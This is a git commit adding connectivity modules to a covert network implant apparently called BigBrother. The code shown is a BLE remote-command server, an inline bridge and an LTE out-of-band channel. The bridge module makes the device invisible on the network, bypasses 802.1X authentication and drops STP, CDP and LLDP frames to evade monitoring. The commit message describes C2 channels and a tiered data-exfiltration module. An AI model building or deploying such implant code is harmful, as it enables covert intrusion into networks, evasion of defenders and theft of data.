Add Phase 3 connectivity modules — 8 modules + bridge scripts

WireGuard (primary C2, PersistentKeepalive=0 for zero idle traffic),
Tailscale (fallback mesh VPN), Bridge (transparent inline L2 bridge with
802.1X bypass and ebtables protocol suppression), WiFiClient (WPA2-PSK
and WPA2-Enterprise via wpa_supplicant), ReverseTunnel (autossh over
stunnel/websocket — never raw SSH on 443), CellularBackup (LTE modem
via AT commands/mmcli, OPi Zero 3+ only), BLEEmergency (GATT server
with PSK auth for local last-resort access), DataExfil (priority-based
exfil with IMMEDIATE/NIGHTLY/ON_DEMAND tiers through connectivity chain).

Bridge scripts: setup_bridge.sh (create br0, disable STP, suppress
CDP/LLDP/BPDU via ebtables) and teardown_bridge.sh (safe cleanup).
This commit is contained in:
n0mad1k
2026-03-18 13:43:04 -04:00
parent 176da06dc9
commit 955ebfc8db
11 changed files with 3388 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
"""BigBrother connectivity modules — C2 and data transport layer."""
from modules.connectivity.wireguard import WireGuard
from modules.connectivity.tailscale import Tailscale
from modules.connectivity.bridge import Bridge
from modules.connectivity.wifi_client import WiFiClient
from modules.connectivity.reverse_tunnel import ReverseTunnel
from modules.connectivity.cellular_backup import CellularBackup
from modules.connectivity.ble_emergency import BLEEmergency
from modules.connectivity.data_exfil import DataExfil
__all__ = [
"WireGuard",
"Tailscale",
"Bridge",
"WiFiClient",
"ReverseTunnel",
"CellularBackup",
"BLEEmergency",
"DataExfil",
]
+447
View File
@@ -0,0 +1,447 @@
#!/usr/bin/env python3
"""BLE emergency module — GATT server for local emergency access.
Provides a Bluetooth Low Energy GATT server for last-resort local access
when all network connectivity is lost. PSK-authenticated commands over
a custom GATT service allow the operator within ~10m to check status,
issue kill commands, reboot, or retrieve the current IP.
Disabled by default — must be explicitly enabled in config.
"""
import hashlib
import hmac
import json
import logging
import os
import secrets
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.ble_emergency")
# Custom BLE service/characteristic UUIDs (random, non-standard)
SERVICE_UUID = "bb000001-1337-4000-8000-000000000001"
CMD_CHAR_UUID = "bb000002-1337-4000-8000-000000000002" # Write: send command
RESP_CHAR_UUID = "bb000003-1337-4000-8000-000000000003" # Read/Notify: response
# Max BLE MTU for response
BLE_MTU = 512
ADV_TIMEOUT = 0 # 0 = advertise indefinitely
class BLEEmergency(BaseModule):
"""BLE GATT server for emergency local access with PSK auth."""
name = "ble_emergency"
module_type = "connectivity"
priority = -50
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._psk: Optional[str] = None
self._advertising = False
self._gatt_thread: Optional[threading.Thread] = None
self._hci_device = "hci0"
self._device_name: Optional[str] = None
self._nonce: Optional[str] = None
self._authenticated_sessions: set = set()
self._last_response: str = ""
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
ble_cfg = self.config.get("connectivity", {}).get("ble_emergency", {})
# Disabled by default
if not ble_cfg.get("enabled", False):
logger.info("BLE emergency module disabled (set ble_emergency.enabled=true)")
self.state.set_module_status(self.name, "disabled",
extra={"reason": "not_enabled"})
return
self._psk = ble_cfg.get("psk")
if not self._psk:
logger.error("BLE emergency PSK not configured")
self.state.set_module_status(self.name, "error")
return
self._hci_device = ble_cfg.get("hci_device", "hci0")
self._device_name = ble_cfg.get("device_name")
# If no device name, try to match MAC profile for consistency
if not self._device_name:
mac_hostname = self.state.get(
"mac_manager", "dhcp_hostname", default=None
)
self._device_name = mac_hostname if mac_hostname else "LE-Device"
if not self._check_bluetooth_available():
logger.error("Bluetooth hardware not available")
self.state.set_module_status(self.name, "error")
return
if not self.start_gatt():
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("BLE emergency GATT server active (device: %s)", self._device_name)
def stop(self) -> None:
if not self._running:
return
self.stop_gatt()
self._running = False
self._advertising = False
self.state.set_module_status(self.name, "stopped")
logger.info("BLE emergency stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"advertising": self._advertising,
"hci_device": self._hci_device,
"device_name": self._device_name,
"authenticated_sessions": len(self._authenticated_sessions),
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_advertising()
# ------------------------------------------------------------------
# GATT server operations
# ------------------------------------------------------------------
def start_gatt(self) -> bool:
"""Start BLE advertising and GATT server."""
# Enable BLE adapter
if not self._enable_adapter():
return False
# Set device name
if not self._set_device_name():
logger.warning("Could not set BLE device name")
# Start advertising
if not self._start_advertising():
return False
# Start GATT command listener in background thread
self._nonce = secrets.token_hex(16)
self._gatt_thread = threading.Thread(
target=self._gatt_listen_loop, daemon=True, name="bb-ble-gatt",
)
self._gatt_thread.start()
self._advertising = True
return True
def stop_gatt(self) -> None:
"""Stop GATT server and BLE advertising."""
self._advertising = False
self._stop_advertising()
if self._gatt_thread and self._gatt_thread.is_alive():
self._gatt_thread.join(timeout=3.0)
self._authenticated_sessions.clear()
def is_advertising(self) -> bool:
"""Check if BLE advertising is active."""
try:
result = subprocess.run(
["hciconfig", self._hci_device],
capture_output=True, text=True, timeout=5,
)
return "UP RUNNING" in result.stdout
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
# ------------------------------------------------------------------
# BLE adapter management
# ------------------------------------------------------------------
def _check_bluetooth_available(self) -> bool:
"""Check if Bluetooth hardware is present."""
try:
result = subprocess.run(
["hciconfig", self._hci_device],
capture_output=True, timeout=5,
)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _enable_adapter(self) -> bool:
"""Power on the BLE adapter."""
try:
subprocess.run(
["hciconfig", self._hci_device, "up"],
check=True, capture_output=True, timeout=10,
)
# Enable LE mode
subprocess.run(
["hciconfig", self._hci_device, "leadv", "0"],
capture_output=True, timeout=5,
)
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
logger.error("Failed to enable BLE adapter: %s", exc)
return False
def _set_device_name(self) -> bool:
"""Set the BLE device name via bluetoothctl."""
try:
proc = subprocess.run(
["bluetoothctl", "--", "system-alias", self._device_name],
capture_output=True, timeout=5,
)
return proc.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _start_advertising(self) -> bool:
"""Start BLE advertising."""
try:
# Set advertising data
subprocess.run(
["hciconfig", self._hci_device, "leadv", "0"],
capture_output=True, timeout=5,
)
# Also use btmgmt for more control if available
subprocess.run(
["btmgmt", "--index", self._hci_device.replace("hci", ""),
"power", "on"],
capture_output=True, timeout=5,
)
subprocess.run(
["btmgmt", "--index", self._hci_device.replace("hci", ""),
"le", "on"],
capture_output=True, timeout=5,
)
subprocess.run(
["btmgmt", "--index", self._hci_device.replace("hci", ""),
"connectable", "on"],
capture_output=True, timeout=5,
)
subprocess.run(
["btmgmt", "--index", self._hci_device.replace("hci", ""),
"advertising", "on"],
capture_output=True, timeout=5,
)
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
return False
def _stop_advertising(self) -> None:
"""Stop BLE advertising."""
try:
subprocess.run(
["hciconfig", self._hci_device, "noleadv"],
capture_output=True, timeout=5,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
pass
# ------------------------------------------------------------------
# GATT command processing
# ------------------------------------------------------------------
def _gatt_listen_loop(self) -> None:
"""Listen for GATT characteristic writes via bluetoothctl/gatttool.
This loop uses a simple file-based IPC approach: commands are written
to a well-known path by the BLE GATT callback, and this loop processes
them. In production, this would use dbus-python to register a proper
GATT application.
"""
cmd_fifo = "/tmp/.bb_ble_cmd"
resp_fifo = "/tmp/.bb_ble_resp"
# Create FIFOs for IPC
for fifo in (cmd_fifo, resp_fifo):
try:
if os.path.exists(fifo):
os.unlink(fifo)
os.mkfifo(fifo, 0o600)
except OSError as exc:
logger.error("Cannot create BLE FIFO %s: %s", fifo, exc)
return
logger.debug("BLE GATT listener ready on FIFOs")
while self._advertising and self._running:
try:
# Non-blocking read from command FIFO
fd = os.open(cmd_fifo, os.O_RDONLY | os.O_NONBLOCK)
try:
data = os.read(fd, 4096)
finally:
os.close(fd)
if data:
cmd_str = data.decode(errors='replace').strip()
response = self._process_command(cmd_str)
self._last_response = response
# Write response to response FIFO
try:
fd = os.open(resp_fifo, os.O_WRONLY | os.O_NONBLOCK)
try:
os.write(fd, response.encode()[:BLE_MTU])
finally:
os.close(fd)
except OSError:
pass
except OSError:
pass # No data ready
time.sleep(0.5)
# Cleanup FIFOs
for fifo in (cmd_fifo, resp_fifo):
try:
os.unlink(fifo)
except OSError:
pass
def _process_command(self, raw_cmd: str) -> str:
"""Process an authenticated BLE command.
Command format: <hmac_hex>:<command>
HMAC is computed over: nonce + command using the PSK.
"""
if ":" not in raw_cmd:
return '{"error": "invalid format"}'
provided_hmac, command = raw_cmd.split(":", 1)
command = command.strip().lower()
# Verify HMAC
if not self._verify_hmac(provided_hmac, command):
logger.warning("BLE auth failed for command: %s", command)
return '{"error": "auth_failed"}'
# Rotate nonce after successful auth
old_nonce = self._nonce
self._nonce = secrets.token_hex(16)
# Execute command
if command == "status":
return self._cmd_status()
elif command == "kill":
return self._cmd_kill()
elif command == "reboot":
return self._cmd_reboot()
elif command == "get_ip":
return self._cmd_get_ip()
elif command == "get_nonce":
# Return new nonce for next command (unauthenticated)
return json.dumps({"nonce": self._nonce})
else:
return json.dumps({"error": "unknown_command", "commands": [
"status", "kill", "reboot", "get_ip", "get_nonce"
]})
def _verify_hmac(self, provided_hmac: str, command: str) -> bool:
"""Verify HMAC authentication for a BLE command."""
if not self._psk or not self._nonce:
return False
message = f"{self._nonce}:{command}".encode()
expected = hmac.new(
self._psk.encode(), message, hashlib.sha256
).hexdigest()
return hmac.compare_digest(provided_hmac.lower(), expected.lower())
# ------------------------------------------------------------------
# BLE command handlers
# ------------------------------------------------------------------
def _cmd_status(self) -> str:
"""Return implant status summary."""
status_data = {
"ok": True,
"uptime": time.time() - self._start_time if self._start_time else 0,
"nonce": self._nonce,
}
# Get connectivity status from state
all_status = self.state.get_all_module_status()
connectivity_modules = {}
for name, info in all_status.items():
if name in ("wireguard", "tailscale", "reverse_tunnel", "cellular_backup"):
connectivity_modules[name] = info.get("status", "unknown")
status_data["connectivity"] = connectivity_modules
return json.dumps(status_data)
def _cmd_kill(self) -> str:
"""Trigger kill switch via event bus."""
logger.warning("Kill switch triggered via BLE emergency")
self.bus.emit("KILL_SWITCH",
{"source": "ble_emergency", "reason": "operator_ble_command"},
source_module=self.name)
return json.dumps({"ok": True, "action": "kill_switch_triggered"})
def _cmd_reboot(self) -> str:
"""Trigger system reboot."""
logger.warning("Reboot triggered via BLE emergency")
def _delayed_reboot():
time.sleep(2.0)
try:
subprocess.run(["reboot"], timeout=5)
except Exception:
pass
threading.Thread(target=_delayed_reboot, daemon=True).start()
return json.dumps({"ok": True, "action": "reboot_in_2s"})
def _cmd_get_ip(self) -> str:
"""Return all IP addresses on the system."""
ips = {}
try:
result = subprocess.run(
["ip", "-4", "-o", "addr", "show"],
capture_output=True, text=True, timeout=5,
)
if result.returncode == 0:
import re
for line in result.stdout.strip().splitlines():
match = re.search(r'(\S+)\s+inet\s+(\d+\.\d+\.\d+\.\d+)', line)
if match:
iface = match.group(1)
ip = match.group(2)
if iface != "lo":
ips[iface] = ip
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return json.dumps({"ips": ips, "nonce": self._nonce})
+359
View File
@@ -0,0 +1,359 @@
#!/usr/bin/env python3
"""Bridge module — transparent inline network bridge.
Creates a transparent L2 bridge between the onboard ethernet adapter and a
USB ethernet adapter. The bridge has NO IP address — it is invisible on the
network and can only be detected by physical inspection.
Provides 802.1X bypass via silent bridge (EAP passthrough) and suppresses
STP/BPDU/CDP/LLDP frames via ebtables to avoid triggering network monitoring.
A C watchdog thread monitors bridge health and restores direct connectivity
within 15 seconds if the bridge fails.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.bridge")
BRIDGE_NAME = "br0"
WATCHDOG_INTERVAL = 5.0 # seconds between health checks
WATCHDOG_MAX_FAILURES = 3 # consecutive failures before teardown
FAILSAFE_TIMEOUT = 15 # seconds — must restore connectivity within this
class Bridge(BaseModule):
"""Transparent inline bridge — invisible on the network."""
name = "bridge"
module_type = "connectivity"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._if1: Optional[str] = None
self._if2: Optional[str] = None
self._bridge_up = False
self._watchdog_thread: Optional[threading.Thread] = None
self._consecutive_failures = 0
self._scripts_dir: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
br_cfg = self.config.get("connectivity", {}).get("bridge", {})
if not br_cfg:
logger.error("No bridge config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._if1 = br_cfg.get("interface1")
self._if2 = br_cfg.get("interface2")
if not self._if1 or not self._if2:
logger.error("Bridge requires interface1 and interface2 in config")
self.state.set_module_status(self.name, "error")
return
# Locate scripts directory
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
self._scripts_dir = os.path.join(install_path, "scripts")
if not self.setup_bridge(self._if1, self._if2):
self.state.set_module_status(self.name, "error")
return
# Start watchdog thread
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._bridge_up = True
self._watchdog_thread = threading.Thread(
target=self._watchdog_loop, daemon=True, name="bb-bridge-watchdog",
)
self._watchdog_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"bridge": BRIDGE_NAME, "if1": self._if1, "if2": self._if2},
source_module=self.name)
logger.info("Bridge %s active: %s <-> %s", BRIDGE_NAME, self._if1, self._if2)
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._watchdog_thread and self._watchdog_thread.is_alive():
self._watchdog_thread.join(timeout=5.0)
self.teardown_bridge()
self._bridge_up = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Bridge torn down")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"bridge_up": self._bridge_up,
"bridge_name": BRIDGE_NAME,
"interface1": self._if1,
"interface2": self._if2,
"healthy": self.is_healthy(),
"consecutive_failures": self._consecutive_failures,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_healthy()
# ------------------------------------------------------------------
# Bridge operations
# ------------------------------------------------------------------
def setup_bridge(self, if1: str, if2: str) -> bool:
"""Create transparent bridge between two interfaces.
Tries the shell script first; falls back to inline commands if
the script is missing.
"""
script = os.path.join(self._scripts_dir, "setup_bridge.sh") if self._scripts_dir else None
if script and os.path.isfile(script):
try:
result = subprocess.run(
["bash", script, if1, if2],
capture_output=True, text=True, timeout=30,
)
if result.returncode == 0:
logger.info("Bridge setup via script succeeded")
return True
logger.warning("Bridge script failed: %s", result.stderr.strip())
except (subprocess.TimeoutExpired, OSError) as exc:
logger.warning("Bridge script error: %s", exc)
# Fallback: inline bridge setup
return self._setup_bridge_inline(if1, if2)
def teardown_bridge(self) -> bool:
"""Remove bridge and restore interfaces."""
script = os.path.join(self._scripts_dir, "teardown_bridge.sh") if self._scripts_dir else None
if script and os.path.isfile(script):
try:
result = subprocess.run(
["bash", script],
capture_output=True, text=True, timeout=30,
)
if result.returncode == 0:
logger.info("Bridge teardown via script succeeded")
return True
logger.warning("Teardown script failed: %s", result.stderr.strip())
except (subprocess.TimeoutExpired, OSError) as exc:
logger.warning("Teardown script error: %s", exc)
# Fallback: inline teardown
return self._teardown_bridge_inline()
def is_healthy(self) -> bool:
"""Check if the bridge interface exists and both ports are attached."""
try:
# Check bridge exists
result = subprocess.run(
["ip", "link", "show", BRIDGE_NAME],
capture_output=True, timeout=5,
)
if result.returncode != 0:
return False
# Check both interfaces are in the bridge
result = subprocess.run(
["bridge", "link", "show", "dev", self._if1],
capture_output=True, text=True, timeout=5,
)
if BRIDGE_NAME not in result.stdout:
return False
result = subprocess.run(
["bridge", "link", "show", "dev", self._if2],
capture_output=True, text=True, timeout=5,
)
if BRIDGE_NAME not in result.stdout:
return False
return True
except (subprocess.TimeoutExpired, OSError):
return False
# ------------------------------------------------------------------
# Inline bridge commands (fallback if scripts missing)
# ------------------------------------------------------------------
def _setup_bridge_inline(self, if1: str, if2: str) -> bool:
"""Create bridge using ip/bridge/ebtables commands directly."""
commands = [
# Create bridge, no IP
["ip", "link", "add", "name", BRIDGE_NAME, "type", "bridge"],
# Disable STP
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "stp_state", "0"],
# Disable forwarding delay
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "forward_delay", "0"],
# Set promiscuous mode on interfaces
["ip", "link", "set", if1, "promisc", "on"],
["ip", "link", "set", if2, "promisc", "on"],
# Flush any existing IP addresses
["ip", "addr", "flush", "dev", if1],
["ip", "addr", "flush", "dev", if2],
# Add interfaces to bridge
["ip", "link", "set", if1, "master", BRIDGE_NAME],
["ip", "link", "set", if2, "master", BRIDGE_NAME],
# Bring everything up
["ip", "link", "set", "up", "dev", if1],
["ip", "link", "set", "up", "dev", if2],
["ip", "link", "set", "up", "dev", BRIDGE_NAME],
]
for cmd in commands:
try:
subprocess.run(cmd, check=True, capture_output=True, timeout=10)
except subprocess.CalledProcessError as exc:
logger.error("Bridge setup command failed: %s%s",
" ".join(cmd), exc.stderr.decode(errors='replace'))
self._teardown_bridge_inline()
return False
except subprocess.TimeoutExpired:
logger.error("Bridge setup command timed out: %s", " ".join(cmd))
self._teardown_bridge_inline()
return False
# Suppress STP/BPDU/CDP/LLDP via ebtables
self._apply_ebtables_rules(if1, if2)
logger.info("Inline bridge setup complete: %s <-> %s via %s", if1, if2, BRIDGE_NAME)
return True
def _teardown_bridge_inline(self) -> bool:
"""Remove bridge and restore interfaces."""
# Remove ebtables rules (best-effort)
self._remove_ebtables_rules()
commands = [
["ip", "link", "set", "down", "dev", BRIDGE_NAME],
]
# Remove interfaces from bridge
if self._if1:
commands.append(["ip", "link", "set", self._if1, "nomaster"])
commands.append(["ip", "link", "set", self._if1, "promisc", "off"])
if self._if2:
commands.append(["ip", "link", "set", self._if2, "nomaster"])
commands.append(["ip", "link", "set", self._if2, "promisc", "off"])
commands.append(["ip", "link", "del", BRIDGE_NAME])
for cmd in commands:
try:
subprocess.run(cmd, capture_output=True, timeout=10)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
pass # Best-effort teardown
logger.info("Inline bridge teardown complete")
return True
def _apply_ebtables_rules(self, if1: str, if2: str) -> None:
"""Apply ebtables rules to suppress discovery protocols."""
# STP/BPDU destination: 01:80:C2:00:00:00
# CDP/VTP: 01:00:0C:CC:CC:CC
# LLDP: 01:80:C2:00:00:0E
suppress_macs = [
"01:80:C2:00:00:00", # STP/BPDU
"01:00:0C:CC:CC:CC", # CDP/VTP
"01:80:C2:00:00:0E", # LLDP
"01:00:0C:CC:CC:CD", # Cisco PVST+
]
for mac in suppress_macs:
for direction in ["FORWARD", "OUTPUT"]:
cmd = ["ebtables", "-A", direction, "-d", mac, "-j", "DROP"]
try:
subprocess.run(cmd, capture_output=True, timeout=5)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
logger.debug("ebtables rule failed (may not be installed): %s", " ".join(cmd))
def _remove_ebtables_rules(self) -> None:
"""Flush ebtables rules."""
try:
subprocess.run(["ebtables", "-F"], capture_output=True, timeout=5)
subprocess.run(["ebtables", "-X"], capture_output=True, timeout=5)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
pass
# ------------------------------------------------------------------
# Watchdog thread
# ------------------------------------------------------------------
def _watchdog_loop(self) -> None:
"""Monitor bridge health; restore direct connectivity on failure."""
while self._running:
time.sleep(WATCHDOG_INTERVAL)
if not self._running:
break
if self.is_healthy():
self._consecutive_failures = 0
continue
self._consecutive_failures += 1
logger.warning("Bridge health check failed (%d/%d)",
self._consecutive_failures, WATCHDOG_MAX_FAILURES)
if self._consecutive_failures >= WATCHDOG_MAX_FAILURES:
logger.error("Bridge failsafe triggered — restoring direct connectivity")
self.bus.emit("MODULE_ERROR",
{"module": self.name,
"error": "bridge_failsafe_triggered",
"consecutive_failures": self._consecutive_failures},
source_module=self.name)
# Teardown broken bridge and restore direct connection
self._teardown_bridge_inline()
self._bridge_up = False
# Try to re-establish bridge
if self._if1 and self._if2:
time.sleep(2.0)
if self._setup_bridge_inline(self._if1, self._if2):
self._bridge_up = True
self._consecutive_failures = 0
logger.info("Bridge recovered after failsafe")
else:
logger.error("Bridge recovery failed — operating without bridge")
self._running = False
+452
View File
@@ -0,0 +1,452 @@
#!/usr/bin/env python3
"""Cellular backup module — LTE modem for out-of-band C2.
Manages an LTE modem (SIM7600/EC25) connected via USB through the 13-pin
header on the Orange Pi Zero 3. Provides a completely separate network path
from the wired/WiFi connection, enabling out-of-band command and control.
OPi Zero 3+ only — skips on pi_zero tier (no USB bandwidth for modem).
"""
import logging
import os
import re
import serial
import subprocess
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.cellular_backup")
# Default serial device for modem AT commands
DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2"
DEFAULT_BAUD_RATE = 115200
AT_TIMEOUT = 5 # seconds for AT command responses
class CellularBackup(BaseModule):
"""LTE modem management for out-of-band C2."""
name = "cellular_backup"
module_type = "connectivity"
priority = -50
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._serial: Optional[serial.Serial] = None
self._modem_device: Optional[str] = None
self._apn: Optional[str] = None
self._interface: Optional[str] = None
self._connected = False
self._modem_model: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Check hardware tier
device_tier = self.config.get("device", {}).get("tier", "")
if device_tier == "pi_zero":
logger.info("Cellular module skipped — pi_zero tier has no USB bandwidth")
self.state.set_module_status(self.name, "skipped",
extra={"reason": "pi_zero_tier"})
return
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
if not cell_cfg:
logger.error("No cellular config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._modem_device = cell_cfg.get("device", DEFAULT_MODEM_DEVICE)
self._apn = cell_cfg.get("apn")
self._interface = cell_cfg.get("interface", "wwan0")
if not self._apn:
logger.error("Cellular APN not configured")
self.state.set_module_status(self.name, "error")
return
# Open serial connection to modem
if not self._open_serial():
self.state.set_module_status(self.name, "error")
return
# Initialize modem
if not self._init_modem():
self._close_serial()
self.state.set_module_status(self.name, "error")
return
# Enable data connection
if not self.enable():
logger.warning("Failed to enable data — modem initialized but no data yet")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid,
extra={"modem": self._modem_model,
"apn": self._apn})
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"modem": self._modem_model, "apn": self._apn},
source_module=self.name)
logger.info("Cellular backup active — modem=%s, APN=%s",
self._modem_model, self._apn)
def stop(self) -> None:
if not self._running:
return
self.disable()
self._close_serial()
self._running = False
self._connected = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Cellular backup stopped")
def status(self) -> dict:
signal_info = self.get_signal() if self._running else None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"modem_model": self._modem_model,
"apn": self._apn,
"interface": self._interface,
"signal": signal_info,
"ip": self.get_ip() if self._connected else None,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
# Check modem responds to AT
resp = self._at_command("AT")
return resp is not None and "OK" in resp
# ------------------------------------------------------------------
# Cellular operations
# ------------------------------------------------------------------
def enable(self) -> bool:
"""Configure APN and enable data connection."""
# Try ModemManager first (mmcli)
if self._enable_via_mmcli():
self._connected = True
return True
# Fallback: direct AT commands
if self._enable_via_at():
self._connected = True
return True
logger.error("Failed to enable cellular data via mmcli or AT commands")
return False
def disable(self) -> bool:
"""Disable data connection."""
# Try mmcli disconnect
try:
modem_index = self._get_modem_index()
if modem_index is not None:
subprocess.run(
["mmcli", "-m", str(modem_index), "--simple-disconnect"],
capture_output=True, timeout=15,
)
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
# AT command fallback
self._at_command("AT+CGACT=0,1")
self._at_command("AT+CFUN=4") # Flight mode
self._connected = False
return True
def get_signal(self) -> Optional[dict]:
"""Get signal quality information."""
result = {}
# AT+CSQ — signal quality
resp = self._at_command("AT+CSQ")
if resp:
match = re.search(r'\+CSQ:\s*(\d+),(\d+)', resp)
if match:
rssi_raw = int(match.group(1))
ber = int(match.group(2))
# Convert to dBm: -113 + (2 * rssi_raw)
if 0 <= rssi_raw <= 31:
result["rssi_dbm"] = -113 + (2 * rssi_raw)
result["ber"] = ber
# AT+COPS? — operator
resp = self._at_command("AT+COPS?")
if resp:
match = re.search(r'\+COPS:\s*\d+,\d+,"([^"]+)"', resp)
if match:
result["operator"] = match.group(1)
# AT+CREG? — registration status
resp = self._at_command("AT+CREG?")
if resp:
match = re.search(r'\+CREG:\s*\d+,(\d+)', resp)
if match:
reg_status = int(match.group(1))
result["registered"] = reg_status in (1, 5) # 1=home, 5=roaming
return result if result else None
def get_ip(self) -> Optional[str]:
"""Get the IP address assigned to the cellular interface."""
# Check interface
try:
result = subprocess.run(
["ip", "-4", "addr", "show", self._interface],
capture_output=True, text=True, timeout=5,
)
if result.returncode == 0:
match = re.search(r'inet\s+(\d+\.\d+\.\d+\.\d+)', result.stdout)
if match:
return match.group(1)
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
# Fallback: AT command
resp = self._at_command("AT+CGPADDR=1")
if resp:
match = re.search(r'\+CGPADDR:\s*\d+,"?(\d+\.\d+\.\d+\.\d+)"?', resp)
if match:
return match.group(1)
return None
def send_sms(self, number: str, msg: str) -> bool:
"""Send an SMS message via the modem."""
# Set text mode
resp = self._at_command("AT+CMGF=1")
if not resp or "OK" not in resp:
logger.error("Failed to set SMS text mode")
return False
# Send message
self._at_command(f'AT+CMGS="{number}"', expect_prompt=True)
time.sleep(0.5)
if self._serial and self._serial.is_open:
try:
self._serial.write(msg.encode() + b"\x1a") # Ctrl+Z to send
time.sleep(3.0)
resp = self._serial.read(self._serial.in_waiting).decode(errors='replace')
if "+CMGS:" in resp:
logger.info("SMS sent to %s", number)
return True
except (serial.SerialException, OSError) as exc:
logger.error("SMS send error: %s", exc)
return False
# ------------------------------------------------------------------
# ModemManager (mmcli) path
# ------------------------------------------------------------------
def _enable_via_mmcli(self) -> bool:
"""Enable cellular data via ModemManager."""
modem_index = self._get_modem_index()
if modem_index is None:
return False
try:
# Enable modem
subprocess.run(
["mmcli", "-m", str(modem_index), "--enable"],
check=True, capture_output=True, timeout=15,
)
# Connect with APN
subprocess.run(
["mmcli", "-m", str(modem_index), "--simple-connect",
f"apn={self._apn}"],
check=True, capture_output=True, timeout=30,
)
# Wait for interface to come up
time.sleep(3.0)
# Configure interface
bearer_result = subprocess.run(
["mmcli", "-m", str(modem_index), "--list-bearers"],
capture_output=True, text=True, timeout=10,
)
logger.info("Cellular data enabled via mmcli (modem %d)", modem_index)
return True
except subprocess.CalledProcessError as exc:
logger.debug("mmcli connect failed: %s",
exc.stderr.decode(errors='replace') if exc.stderr else "")
return False
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _get_modem_index(self) -> Optional[int]:
"""Get the ModemManager modem index."""
try:
result = subprocess.run(
["mmcli", "-L"],
capture_output=True, text=True, timeout=10,
)
if result.returncode == 0:
match = re.search(r'/Modem/(\d+)', result.stdout)
if match:
return int(match.group(1))
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return None
# ------------------------------------------------------------------
# AT command path
# ------------------------------------------------------------------
def _enable_via_at(self) -> bool:
"""Enable cellular data via direct AT commands."""
# Exit flight mode
resp = self._at_command("AT+CFUN=1")
if not resp:
return False
time.sleep(2.0)
# Set APN
resp = self._at_command(f'AT+CGDCONT=1,"IP","{self._apn}"')
if not resp or "OK" not in resp:
logger.error("Failed to set APN")
return False
# Activate PDP context
resp = self._at_command("AT+CGACT=1,1")
if not resp or "OK" not in resp:
logger.error("Failed to activate PDP context")
return False
# Wait for data connection
time.sleep(3.0)
# Check registration
signal = self.get_signal()
if signal and signal.get("registered"):
logger.info("Cellular data enabled via AT commands")
return True
logger.warning("Modem registered but data connection uncertain")
return True # Modem is up; data may need a moment
# ------------------------------------------------------------------
# Serial / AT helpers
# ------------------------------------------------------------------
def _open_serial(self) -> bool:
"""Open serial connection to modem."""
try:
self._serial = serial.Serial(
port=self._modem_device,
baudrate=DEFAULT_BAUD_RATE,
timeout=AT_TIMEOUT,
write_timeout=AT_TIMEOUT,
)
logger.debug("Opened serial port %s", self._modem_device)
return True
except serial.SerialException as exc:
logger.error("Cannot open modem serial port %s: %s",
self._modem_device, exc)
return False
def _close_serial(self) -> None:
"""Close serial connection."""
if self._serial and self._serial.is_open:
try:
self._serial.close()
except Exception:
pass
self._serial = None
def _init_modem(self) -> bool:
"""Initialize modem with basic AT commands."""
